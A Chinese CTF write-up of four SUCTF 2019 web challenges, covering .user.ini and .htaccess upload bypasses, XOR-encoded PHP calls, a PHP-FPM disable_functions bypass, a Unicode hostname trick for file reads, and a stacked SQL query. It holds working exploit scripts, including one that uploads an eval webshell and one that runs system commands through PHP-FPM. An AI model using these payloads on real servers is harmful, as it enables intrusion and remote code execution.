2019 SUCTF web 部分题解

  ctf

0x00前言

周末打一打suctf,写一写一些比赛的题目吧

 

0x01CheckIn

该页面为一个文件上传页面,上传内容含有<?的文件,上传成功后会显示当前路径下的所有文件

因此搜索一下,发现.user.ini这个文件,官网解释说该文件为支持基于每个目录的.htaccess风格的INI文件,其文件内容只有PHP_INI_PERDIR 和 PHP_INI_USER 模式的 INI 设置可被识别,PHP会在每个目录下扫描INI文件,同时找到两个指令auto_prepend_fileauto_append_file,可以通过这两个选项来设置页眉和脚注,其效果像include一样,那么解决方法就是使用.user.ini设置.user.ini文件指定图片被包含到index.php文件中,其图片内容因不能含有<?符号,因此我们能用<script language="php">标签来执行php命令上传.ini.user

上传php脚本

SUCTF{U5er_1n1_01d_TR1ck}

0x02 EasyPHP

题目给出了源码

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

具体可以参考文章https://xz.aliyun.com/t/3937,在上传文件之前需要通过eval函数来引用get_the_flag函数从而进行文件上传。同时正则将数字和字母以及一些常用的符号全部过滤掉了,因此使用VK师傅的脚本构造调用get_the_flag函数

http://47.111.59.243:9001/?_=${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=phpinfo

因此可以直接调用函数get_the_flag,上传的地点首先文件需要通过exif_imagetype检查,但是此文件只检查头,并且文件内容不能包含<?符号,访问.htaccess显示403,表示存在该文件,因此我们可以构造一个带有exif_imagetype() 支持的magic number,再加上AddType application/x-httpd-php .cc,参考文章之后机上对应的头信息从而对非php文件进行执行,但是同时过滤函数对<?符号进行了过滤,因此不能使用正常的php格式,因此可以使用php://filter协议进行包含,这样可以绕过对头字符进行过滤的函数。借用一下wuwu师傅的脚本进行上传

import requests
import base64

url = "http://47.111.59.243:9001/?_=${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=get_the_flag"

header = {"Cookie":"PHPSESSID=3hia3hm22jd727s9um9us6ggv5"}

htaccess = b"""\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .cc
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_11ba74ad2123a871ed3c75a932ae3410/cch.cc"
"""

shell = b"\x00\x00\x8a\x39\x8a\x39"+b"00"+ base64.b64encode(b"<?php eval($_POST['christa']);?>")

files = [('file',('.htaccess',htaccess,'application/octet-stream'))]

data = {"upload":"Submit"}

print("upload .htaccess")
r = requests.post(url=url, data=data, files=files,headers=header)

print(r.text) 

print("upload cch.cc")

files = [('file',('cch.cc',shell,'application/octet-stream'))]
r = requests.post(url=url, data=data, files=files,headers=header)

print(r.text)

使用蚁剑连接

连进去之后在根目录下创建webshell以便后期操作也防止被清除,发现权限不够,访问一下phpinfo

发现mail函数也被ban了,同时还行发现一个fake的flag

hhhh
This is a fake flag
But I heard php7.2-fpm has been initialized in socket mode!
~                                                                  

故考虑使用php-fpm进行提权,使用一蚁剑中的绕过disable_fcuntion插件进行进程污染

同时使用插件进行脚本执行

$host = '127.0.0.1';
$port = 64984;
$errno = '';
$errstr = '';
$timeout = 30;
$url = '/ch.php';
 
$param = array(
    'ch' => "system('ls -al /');",
);

$data = http_build_query($param);
 
// create connect
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
 
if(!$fp){
    return false;
}
 
// send request
$out = "POST ${url} HTTP/1.1\r\n";
$out .= "Host:${host}\r\n";
$out .= "Content-type:application/x-www-form-urlencoded\r\n";
$out .= "Content-length:".strlen($data)."\r\n";
$out .= "Connection:close\r\n\r\n";
$out .= "${data}";
 
fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

获取flag

 

suctf{Undefined_constant_With_XOR_Code_Execution}

0x03 Pythonnginx

题目给出了源码

        
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"

正巧这几天看到了P神在小密圈发出来的Black Hat的议题,https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf,提到了python urllib模块的编码问题

同时也给出了几个比较典型的编码

U+2100, ℀               U+FE16, ︖

U+2101, ℁                U+FE56, ﹖

U+2105, ℅               U+FF1F, ?

U+2106, ℆               U+FE5F, ﹟

U+FF0F, /              U+FF03, #

因此将该编码带进去继续尝试,成功绕过

因此使用file协议在urllib内进行读取,但是由于使用了c/u,尾部有u字符,但同时又在首页中看到提示,Do you know nginx,因此构造url

http://47.111.59.243:9000/getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf

成功getflag

大哥又跟我说无穷大符号也行,tql,这个file协议咋就每次都忘记呢。。。

0x04 easy_sql

题目过滤了许多

like,where,from都被过滤,连flag也全部过滤,但是能使用堆叠语句

测试之后,推测其查询语句为

SELECT  $_GET['query'].id from Flag where xx=1;

因此构造一下query=*,1查询成功

SUCTF{SUCTF_baby_sql_chall_120993n810h3}